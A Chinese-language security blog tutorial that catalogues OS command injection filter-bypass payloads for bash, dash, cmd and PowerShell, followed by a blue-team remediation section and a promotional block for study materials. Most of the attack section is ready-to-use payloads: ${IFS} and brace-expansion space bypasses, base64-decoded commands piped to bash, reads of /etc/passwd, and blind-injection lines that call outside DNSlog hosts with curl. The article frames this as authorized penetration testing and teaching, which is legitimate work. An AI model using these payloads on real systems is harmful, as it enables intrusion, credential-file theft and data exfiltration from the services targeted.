命令注入各种绕过姿势:过滤空格、引号、管道符号,实战 payload 整理
🔒免责声明:本文仅供授权渗透测试、红蓝对抗、网络安全学习研究,所有实验必须在自建隔离靶场操作。未经授权对互联网业务执行命令注入攻击属于违法行为,请严格遵守网络安全法律法规。
前言
命令注入(OS Command Injection,CWE‑77)是 Web 渗透中经典高危漏洞。漏洞根源:开发者直接把用户可控输入拼接到系统 shell 命令中,攻击者注入 shell 元字符,篡改原有命令逻辑,执行任意操作系统命令。
实战环境里几乎不会遇到完全没有过滤的靶场。开发会做黑名单过滤:空格、单双引号、分号、管道|、&、&&、||、$、反引号全部被拦截;同时还会过滤cat、ls、whoami这类危险命令关键字。很多新人复制网上基础 Payload 直接打线上环境,发现全部失效,核心原因就是不熟悉 shell 语法的各种变形绕过。
Linux 下 bash、dash、sh 语法存在差异;Windows cmd、PowerShell 又有另一套完全不一样的符号规则。不同 WAF、业务黑名单过滤逻辑各不相同,没有万能 Payload,需要理解底层 shell 解析原理,组合各类绕过技巧。
本文万字完整整理,从漏洞基础、元字符详解,分模块讲解空格绕过、引号绕过、命令分隔符绕过、关键字过滤绕过、盲命令注入、Windows 平台绕过、WAF 多层混淆、实战排错清单、代码审计、蓝队完整修复加固方案,附带大量可直接测试实战 Payload。
ATT&CK 映射:T1059 命令解释器执行,T1203 利用客户端控制执行,T1190 面向公众漏洞利用。
测试环境说明:大部分 Linux Payload 基于 bash;部分 Payload 在 dash (/bin/sh) 会失效,实战需要注意 shell 环境差异。
一、命令注入基础原理与 Shell 元字符
1.1 漏洞触发示例(PHP)
危险代码,直接拼接用户输入到 shell:
<?php
$ip = $_GET['ip'];
system("ping -c 1 ".$ip);
?>
正常访问:?ip=127.0.0.1,执行ping -c 1 127.0.0.1。
原始无过滤攻击 payload:?ip=127.0.0.1;id,shell 实际执行两条命令:
ping -c 1 127.0.0.1
id
漏洞成立核心:用户可控变量直接拼接到 shell 命令字符串,交给 system ()、exec ()、shell_exec ()、passthru () 等函数调用操作系统解析执行。
1.2 Linux Shell 常用危险元字符
| 符号 | 作用 | ||
|---|---|---|---|
; | 命令分隔,顺序执行多条命令 | ||
| ` | ` | 管道,前命令输出交给后命令输入 | |
& | 后台执行,同时执行前后命令 | ||
&& | 逻辑与,前面命令执行成功才执行后面 | ||
| ` | ` | 逻辑或,前面执行失败才执行后面 | |
$() | 命令替换,括号内命令执行,替换输出结果 | ||
\ `` | 反引号,等同于 $() 命令替换 | ||
$ | 变量解析,读取环境变量 | ||
>/>> | 重定向输出,写入文件 | ||
< | 输入重定向读取文件 | ||
%0a(url 编码换行\n) | 换行分割多条命令 | ||
%0d(url 编码回车\r) | 回车,部分 shell 支持分割命令 |
很多业务黑名单就是拦截上面这些元字符。一旦部分符号被过滤,就需要使用各类语法变形绕过。
1.3 盲命令注入概念
很多场景页面没有命令回显,看不到 whoami、id 输出,称为盲命令注入。
验证手段三种:
- 延时 sleep:
sleep 5,观察 HTTP 响应时间是否增加 5 秒; - DNSlog 外带:
curl xxx.dnslog.cn,看 DNS 日志收到解析请求; - 写本地文件:把命令输出重定向写入 web 目录文件,再访问读取结果。
盲注入不能看页面返回判断是否执行,很多新人踩坑:页面空白就判定漏洞不存在。
二、过滤空格的全部绕过姿势(实战最高频)
业务中最常过滤空格。因为 ping、ip、域名等正常业务参数本身不需要空格,开发直接把空格加入黑名单。
目标:执行
cat /etc/passwd,但是禁止输入普通空格。
2.1 ${IFS} 环境变量绕过(bash 最常用)
IFS 是 shell 内部字段分隔符,默认值包含:空格、tab、换行。${IFS}可以直接代替空格。
cat${IFS}/etc/passwd
id${IFS};whoami
ls${IFS}-la
注意坑:$IFS不加花括号,当后面紧跟数字字母时,shell 会把IFSxxx当成一个全新变量,变量为空,Payload 失效。
改良写法,搭配空变量$9(shell 位置参数,没有传参时值为空字符串),避免变量名粘连:
cat$IFS$9/etc/passwd
id$IFS$9&&whoami
注意:dash (/bin/sh) 下部分 IFS 变形会失效,优先使用
${IFS}大括号版本。
2.2 Tab 制表符 %09 URL 编码绕过
Tab 制表符\t和空格功能等价,URL 编码后是%09,http 请求中直接传入 %09 代替空格。
ping%09-c%091%09127.0.0.1;cat%09/etc/passwd
原始 shell 文本写法(数据包 raw 里):
cat /etc/passwd
2.3 重定向符号 <> < 绕过空格
<输入重定向、<>同时输入输出重定向,shell 解析时,命令和文件之间不需要空格分隔。
cat</etc/passwd
cat<>/etc/passwd
echo<>1.txt
限制:只能用于命令 + 文件名之间,不能用于命令参数,例如
ls -la这种带参数的场景无法使用。
2.4 Bash 大括号扩展 {,} 绕过空格
bash 特有语法,{cat,/etc/passwd}逗号会被解析成分隔,自动插入空格。逗号前后不能写空格!
{cat,/etc/passwd}
{id,;whoami}
{curl,xxx.dnslog.cn}
重要:dash/sh 不支持该语法,只在 bash 环境生效,很多 docker、ubuntu 默认 /bin/sh 是 dash,Payload 直接失效。
2.5 变量拼接构造空格
把空格赋值给变量,调用变量充当分隔符。
x=$'\x20';cat$x/etc/passwd
2.6 实战 Payload 汇总(过滤空格场景)
127.0.0.1;cat${IFS}/etc/passwd
127.0.0.1%09;cat$IFS$9/etc/passwd
127.0.0.1;cat</etc/passwd
127.0.0.1;{cat,/etc/passwd}
空格绕过踩坑总结
${IFS}兼容性最好,优先测试;{,}大括号只支持 bash;- dash 环境不要使用
{,},会直接报语法错误; $IFS不加 {} 容易出现变量粘连,尽量带上$9空变量截断;<重定向仅适用于命令 + 文件名,不能用于带命令参数场景。
三、过滤引号(单引号 '、双引号 ")绕过姿势
当黑名单拦截单引号、双引号,无法直接使用引号包裹字符串。同时也包含另一种场景:原始 PHP 代码把用户输入包裹在引号内,需要闭合引号实现逃逸。
3.1 空引号切割关键字(引号没有被完全过滤)
没有过滤引号,但过滤完整关键字,插入成对空引号,shell 解析会直接删除空引号,命令正常执行。
c""at /etc/passwd
w'h'o'a'm'i
ca''t fla''g.txt
shell 解析后等价于cat /etc/passwd,引号被剥离,用来绕过完整字符串匹配黑名单。
3.2 反斜杠转义拆分命令(Linux bash)
在字符之间插入反斜杠\,shell 解析时忽略行尾反斜杠,拼接字符。
c\a\t /e\tc/\pa\sswd
w\h\o\a\m\i
3.3 $@ 位置参数变形绕过
$@代表全部传入参数,值为空,插入命令字符中间,shell 直接忽略。
c$@at /etc/passwd
wh$@o$@ami
3.4 printf 十六进制、八进制编码构造字符串(完全禁止引号)
当单双引号全部被过滤,使用printf输出十六进制字节,配合$()命令替换生成完整命令字符串。
$(printf\x20\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64)
示例:printf 输出 ls:
$(printf "\x6c\x73")
注意:部分环境
\x十六进制不支持,改用八进制\144格式。
3.5 base64 编码绕过,不需要引号
把命令 base64 编码,通过 base64‑d 解码交给 bash 执行。
原始命令:cat /etc/passwd,base64 编码:Y2F0IC9ldGMvcGFzc3dk
payload:
echo${IFS}Y2F0IC9ldGMvcGFzc3dk|base64${IFS}-d|bash
优点:整个 Payload 里面不需要单引号、双引号,适合引号被彻底拉黑场景。
3.6 逃逸引号包裹的命令上下文(业务代码把输入放在引号内)
PHP 示例危险代码:
system("ping '$_GET[ip]'");
用户输入被包裹在单引号里面,需要先闭合单引号,注入命令,再补上引号保证语法不报错。
payload:
127.0.0.1';id;'
拼接后 shell 命令:
ping '127.0.0.1';id;''
如果是双引号包裹输入:payload:
127.0.0.1";id;"。
四、过滤命令分隔符:; | & && || 绕过姿势
开发经常把; | & && ||全部加入黑名单,无法直接分割多条命令。此时可用换行符、命令替换、重定向等思路。
4.1 换行符分割命令 %0a(\n)
URL 编码换行%0a,shell 解析换行等同于命令分隔符,多条命令分行执行,绕过分号;过滤。
原始 http get payload:
?ip=127.0.0.1%0aid
?ip=127.0.0.1%0acat${IFS}/etc/passwd
raw 数据包中直接写\n换行。
%0d 回车 \r 在部分老版本 shell 也支持分割,兼容性不如 %0a。
4.2 $() 命令替换绕过分隔符过滤
即使没有分号管道,使用$(命令),shell 会优先执行括号内的子命令。
示例原始代码:ping $ip,过滤;|&,可以构造:
ip=127.0.0.1$(id)
shell 执行:ping 127.0.0.1$(id),子 shell 执行 id 命令。
盲注入场景:
127.0.0.1$(sleep${IFS}5),通过延时判断是否执行成功。
4.3 反引号 ``` 命令替换
和$()功能等价,部分环境$被过滤,可以尝试反引号。
ping `id`
注意:反引号也经常被 WAF 黑名单拦截,作为备选手段。
4.4 重定向结合文件写入,间接执行命令
分隔符全部拦截,先把恶意命令写入本地文件,再通过 source 执行脚本文件。
echo${IFS}"id">>/tmp/t.sh&&source${IFS}/tmp/t.sh
4.5 不同分隔符逻辑区分(排错必看)
| 符号 | 行为 | ||
|---|---|---|---|
; | 无论前面命令成功失败,后面一定执行 | ||
&& | 前面命令返回码 0(成功)才执行后面 | ||
| ` | ` | 前面命令执行失败,才执行后面 | |
& | 后台运行,前后命令同时执行 | ||
| ` | ` | 管道,前输出作为后输入 |
实战如果 payload 不执行,要思考:前面 ping 命令是否报错,导致
&&后面命令不会运行,此时优先用;或者%0a换行。
五、过滤命令关键字(cat、ls、whoami、curl)绕过
黑名单拦截危险命令字符串,例如禁止 cat 读取文件,禁止 curl 外带数据。
5.1 替换等价命令
读取文件替代 cat:
tac 文件名 #倒序输出
nl 文件名 #带行号输出
more 文件名
less 文件名
head 文件名
tail 文件名
od -a 文件名
strings 文件名
示例:tac${IFS}/etc/passwd
5.2 通配符 glob 绕过(* ? [])
shell 通配符,*匹配任意多个字符,?匹配单个字符,[]匹配括号内其中一个字符。
c?t /etc/passwd
ca* /etc/passwd
/bin/c?t /etc/passwd
cat /etc/p*sswd
cat /etc/?asswd
cat /e[tc]/passwd
示例:过滤 cat,
/bin/c?t,shell 会匹配 /bin/cat。
5.3 字符串切割环境变量截取字符
bash 支持变量切片 ${变量:起始:长度},从系统环境变量截取字符拼接命令字符,不需要写完整关键字。
${PATH:0:1} #取出PATH变量第一个字符 /
${HOME:0:1}
组合示例,拼接出 cat 命令字符。适合严格黑名单,几乎所有字面字符都被拦截场景。
5.4 base64 编码间接执行命令
前面提到,不直接写原始命令文本,base64 编码后解码执行。
echo${IFS}d2hvYW1p|base64${IFS}-d|bash
5.5 命令存在路径变形
命令不一定写绝对路径,利用 PATH 环境变量;也可以写完整路径绕过简单字符串匹配。
/bin/cat
/usr/bin/whoami
六、多层过滤综合实战 Payload 案例
真实业务往往同时过滤空格、分号、cat 等,需要多重技巧组合。
案例 1:过滤空格、过滤;,允许 $()
条件:禁止空格、禁止分号,允许$()
payload:
127.0.0.1$(cat</etc/passwd)
127.0.0.1$(sleep$IFS$95)
案例 2:过滤空格、引号、管道符,盲注入 DNSlog 外带
payload:
127.0.0.1%0aecho${IFS}Y3VybCB4eHguZG5zbG9nLmNu|base64${IFS}-d|bash
案例 3:黑名单拦截 cat,读取 flag 文件
payload:
127.0.0.1;nl${IFS}fl*g
127.0.0.1%0atac<flag.txt
七、Windows cmd / PowerShell 命令注入绕过
前面全部是 Linux bash,Windows 环境语法完全不一样,很多 Payload 不能直接复用。
cmd.exe 重点绕过
- 命令分隔符:
&、&&、||、%0a换行; - 空格过滤:
%09tab 可以代替空格; - 转义字符:脱字符
^,可以用来分割字符,过滤关键字:
w^h^o^a^m^i
ty^pe c:\win^dows\win.ini
- 读取文件 type 命令代替 cat;
type c:\windows\win.ini
cmd 简单 payload 示例:
127.0.0.1&whoami
127.0.0.1%0atype%09c:\windows\win.ini
127.0.0.1||w^h^o^a^m^i
PowerShell 环境
- 换行反引号
\n`; - 分隔符
;、&; - base64 编码执行:powershell 支持 base64 编码命令参数;
powershell -enc base64字符串
实战注意:同一个 Web 应用,后端操作系统是 Linux 还是 Windows,直接决定 Payload 是否生效,可以通过 sleep 延时简单判断。
八、盲命令注入完整测试方法论
页面没有回显,看不到输出结果,这是线上 SRC 最常见场景。
步骤 1:延时探测 sleep
Linux:
127.0.0.1;sleep${IFS}3
127.0.0.1$(sleep$IFS$94)
127.0.0.1%0asleep%095
观察 http 响应时间,如果页面延迟 3‑5 秒返回,证明命令执行成功。
Windows cmd 延时:
ping -n 5 127.0.0.1
步骤 2:DNSlog/CEYE 外带(优先推荐)
构造 payload 发起 DNS 请求,外网 dnslog 平台记录解析日志,确认命令执行。
127.0.0.1;curl${IFS}xxx.ceye.io
127.0.0.1%0acurl$IFS$9xxx.dnslog.cn
坑:服务器内网隔离,无法访问外网 DNS 服务器,此时 DNSlog 无记录,不能直接判定漏洞不存在,改用写文件方式。
步骤 3:重定向写入 Web 文件获取回显
把命令输出重定向写入 web 可访问目录,之后浏览器直接访问该文件拿到结果。
127.0.0.1;id>${IFS}./out.txt
127.0.0.1%0acat${IFS}/etc/passwd>./res.txt
然后浏览器访问http://xxx.com/out.txt读取执行输出。
注意:需要知道网站 web 绝对路径,不知道路径则该方法无法使用。
九、WAF 绕过高级混淆思路
当基础 Payload 被 WAF 拦截,可以叠加下面混淆手段。
- URL 双重编码:对 payload 整体做两次 url 编码,绕过浅层 WAF 检测;
- 大小写变形:bash 命令大小写敏感,但是部分工具 / Windows 不敏感;
- 多行换行拆分 payload,把完整命令拆分成多行;
- 多种绕过组合:通配符 + base64 + ${IFS};
- 利用 shell 注释
#,截断后面原有语法。
注意:混淆不是万能,现代 WAF 支持解码后检测,过度混淆反而更容易触发告警。
十、实战踩坑排错清单(大量新人踩坑点)
问题 1:Payload 复制过来完全不执行,没有延时、DNSlog 也没记录
排查清单:
- 确认漏洞点确实拼接到 shell 命令;很多参数只是传给代码函数,根本没有调用系统 shell,不存在命令注入;
- 确认后端 shell 环境:bash /dash/sh /cmd/powershell;
{,}大括号语法 dash 不支持; - WAF 直接拦截整个 http 请求包,直接丢弃数据包,根本没有到达后端代码;
- 黑名单把 Payload 里面关键元字符过滤替换为空,比如把
;替换成空字符串; - 权限限制:Web 进程低权限,部分命令被禁用;
- 变量粘连:
$IFSid没有加{}或者$9,shell 识别错误变量。
问题 2:sleep 延时 payload 成功,但是 cat 读取文件看不到内容
- 盲注入,本身就没有回显,不要看页面输出;使用写文件 / DNSlog;
- 文件路径错误,没有权限读取目标文件;
- 命令执行成功,但输出输出到 stderr 标准错误,不是 stdout 标准输出;可以重定向错误输出
2>&1。
问题 3:Payload 本地 bash 测试正常,放到 web 靶场失效
最常见原因:后端 shell 是 dash (/bin/sh),很多 bash 特有语法{,}、部分 IFS 变形 dash 不兼容,更换 POSIX 标准 Payload。
误区总结
误区 1:网上 Payload 通用,复制就可以打所有环境
❌错误。shell 版本不同、过滤黑名单不同、操作系统 Linux/Windows 差异,Payload 需要针对性调整。
误区 2:页面看不到输出就代表漏洞不存在
❌错误。盲命令注入,命令已经执行,输出不会返回 web 页面,必须 sleep、DNSlog、写文件判断。
误区 3:只要出现;$ | 符号就一定可以注入
❌错误。如果输入没有拼接到系统 shell,只是在 PHP/Python 代码字符串里面,不会触发命令注入。
误区 4:过滤空格就完全无法注入
❌错误。shell 提供大量语法可以不使用字面空格完成命令执行,${IFS}、%09、<>、大括号扩展等多种方案。
十一、蓝队:漏洞代码审计、检测与完整修复加固
11.1 代码审计危险特征
PHP 危险函数:system()、exec()、shell_exec()、passthru()、popen()、proc_open()、\反引号`。 Python 危险:os.system()、os.popen()、subprocess.call(shell=True)。 Java 危险:Runtime.getRuntime().exec()`,ProcessBuilder 开启 shell。
核心风险点:函数开启 shell 解析,且参数包含用户可控输入。
安全写法:关闭 shell,直接传入参数数组,不要拼接字符串。
Python 不安全:
os.system("ping -c 1 " + user_input)
subprocess.call("ping -c 1 "+user_input,shell=True)
Python 安全写法,不启用 shell,参数列表形式:
subprocess.call(["ping","-c","1",user_input])
PHP 安全:尽量避免调用 system 系列函数;业务需要 ping 功能,使用 PHP 自带 Socket 库实现,不调用操作系统 ping 命令。
11.2 修复加固分层方案
方案 1:最优方案,杜绝调用系统 shell(优先选择)
能用语言自带库函数实现业务,就不要调用操作系统 shell 命令。比如 ping、域名解析,使用代码内置网络 API,完全不碰 shell,从根源消除命令注入风险。
方案 2:必须调用系统命令,禁止 shell 字符串拼接,使用参数数组
不要拼接用户输入到命令字符串;使用参数列表方式,用户输入只会当做命令参数,不会被 shell 解析元字符。
方案 3:输入白名单校验(次选)
如果业务输入格式固定(例如 ip 地址),严格白名单,只允许数字、点等合法字符;拒绝所有 shell 元字符; $ | & " ' \n \r > < 。
注意:黑名单永远不可靠,shell 绕过姿势层出不穷,黑名单很容易被绕过,尽量不用黑名单做防护。
方案 4:运行环境最小权限
Web 服务进程使用最低权限账号运行,即使发生命令注入,限制攻击者能执行操作,减少危害。禁止 root、administrator 运行 web 业务。
方案 5:WAF、日志监控
监控访问日志中出现${IFS}、base64‑d、sleep、curl dnslog 等攻击特征,做告警拦截。WAF 仅作为缓解手段,不能作为唯一防护。
重要结论:黑名单过滤无法彻底防御命令注入漏洞。shell 语法变形绕过方式极多,新的绕过手法会持续出现。不要依靠过滤特殊字符当做主要防护手段。
总结
命令注入绕过核心,本质吃透 shell 解析语法。空格可以用({IFS}、%09、<>、bash大括号扩展;引号可以空引号切割、反斜杠、base64、printf十六进制;分隔符被拦截优先使用%0a换行、\)() 命令替换;关键字过滤可以等价命令替换、glob 通配符、编码变形。
实战分为 Linux bash/dash 和 Windows cmd/PowerShell 两套 Payload 体系,很多 Payload 跨 shell 直接失效,一定要区分后端环境。线上环境大量都是盲命令注入,不要依赖页面回显,依靠 sleep 延时、DNSlog、写文件三种方式验证漏洞是否真实存在。
防御层面,黑名单不可靠,会被各类语法绕过;最优方案是尽量不调用系统 shell;如果必须调用系统命令,使用参数数组,禁止拼接用户可控输入到 shell 命令字符串,搭配输入白名单校验和最小权限运行。
本文全部 Payload 均来自公开安全研究,仅用于授权安全测试,严禁未授权实际环境利用。
最后
关于网络安全技术储备
网络安全是当今信息时代中非常重要的一环。无论是找工作还是感兴趣(黑客),都是未来职业选择中上上之选,为了保护自己的网络安全,学习网络安全知识是必不可少的。
如果你是准备学习网络安全(黑客)或者正在学习,下面这些你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)